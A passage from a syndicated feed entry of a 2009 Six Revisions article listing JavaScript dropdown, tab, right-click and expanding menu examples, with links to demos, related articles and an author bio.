&lt;p&gt;&lt;a href="http://tools.uvumi.com/dropdown.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-15_uvumitools%20_menu.jpg" width="500" height="152" alt="UvumiTools Dropdown Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;18. &lt;a href="http://stilbuero.de/jquery/tabs_3/"&gt;jQuery  UI Tabs&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Easily separate content using this tab example.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://stilbuero.de/jquery/tabs_3/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-16_jquery_ui_tabs.jpg" width="500" height="115" alt="jQuery UI Tabs"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://stilbuero.de/jquery/tabs_3/"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;19. &lt;a href="http://yura.thinkweb2.com/scripting/contextMenu/"&gt;Proto.Menu: Right Click Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A customizable right-click menu written on top of the  Prototype framework.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://yura.thinkweb2.com/scripting/contextMenu/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-19_right_click.jpg" width="500" height="175" alt="Proto.Menu: Right Click Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;20. &lt;a href="http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/"&gt;Accessible Expanding and Collapsing menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This menu example allows you have two levels of navigation.  When you click on main category the subcategory expands.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-20_exp_col_menu.jpg" width="500" height="213" alt="Accessible Expanding and Collapsing menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;What are you using?&lt;/h3&gt;
&lt;p&gt;We’d like to know if you have experience with any of these  techniques and examples. Have a live web page? Share it with us in the  comments.&lt;/p&gt;
&lt;h3&gt;Related content&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/javascript/40-exceptional-jquery-interface-techniques-and-tutorials/"&gt;40  Exceptional jQuery Interface Techniques and Tutorials&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/javascript/graph_chart_plot_data_javascript/"&gt;Graphing/Charting  Data on Web Pages: JavaScript Solutions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/resources/40_resources_for_javascript_coders/"&gt;40  Excellent Resources for JavaScript Coders&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/javascript/promising_javascript_frameworks/"&gt;10  Promising JavaScript Frameworks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Related categories: &lt;a href="http://sixrevisions.com/category/javascript/"&gt;JavaScript&lt;/a&gt;, &lt;a href="http://sixrevisions.com/category/user-interface/"&gt;User Interface&lt;/a&gt;, &lt;a href="http://sixrevisions.com/category/tutorials/"&gt;Tutorials&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;About the Author &lt;/h3&gt;
&lt;p&gt;&lt;img src="http://images.sixrevisions.com/authors/kawsar_ali_small.jpg" alt="" width="80" height="80"&gt;&lt;span&gt;&lt;strong&gt;Kawsar Ali&lt;/strong&gt; is a web designer, graphic designer, and wannabe photograper  based in NY, U.S. He’s also the founder of &lt;a href="http://desizntech.info/"&gt;&lt;strong&gt;Desizntech&lt;/strong&gt;&lt;/a&gt;, a site to find  tips about web design, Mac, PC and more. If you’d like to connect with  him, you can follow him on &lt;a href="https://twitter.com/desizntech"&gt;&lt;strong&gt;Twitter&lt;/strong&gt;&lt;/a&gt; or at his&lt;a href="http://i-exist.co.cc/"&gt;&lt;strong&gt; Personal Website&lt;/strong&gt;&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;img src="http://feeds2.feedburner.com/~r/SixRevisions/~4/h8GE3wjHNro" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LbKPoPCmcLjRZyosH9OMztDUHcE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LbKPoPCmcLjRZyosH9OMztDUHcE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LbKPoPCmcLjRZyosH9OMztDUHcE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LbKPoPCmcLjRZyosH9OMztDUHcE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/VOCXO4fCjuc" height="1" width="1"/&gt;</content><author><name>Jacob Gube</name></author><source gr:stream-id="feed/http://feeds2.feedburner.com/SixRevisions"><id>tag:google.com,2005:reader/feed/http://feeds2.feedburner.com/SixRevisions</id><title type="html">Six Revisions</title><link rel="alternate" href="http://sixrevisions.com" type="text/html" /></source><feedburner:origLink>http://feedproxy.google.com/~r/SixRevisions/~3/h8GE3wjHNro/</feedburner:origLink></entry></feed>
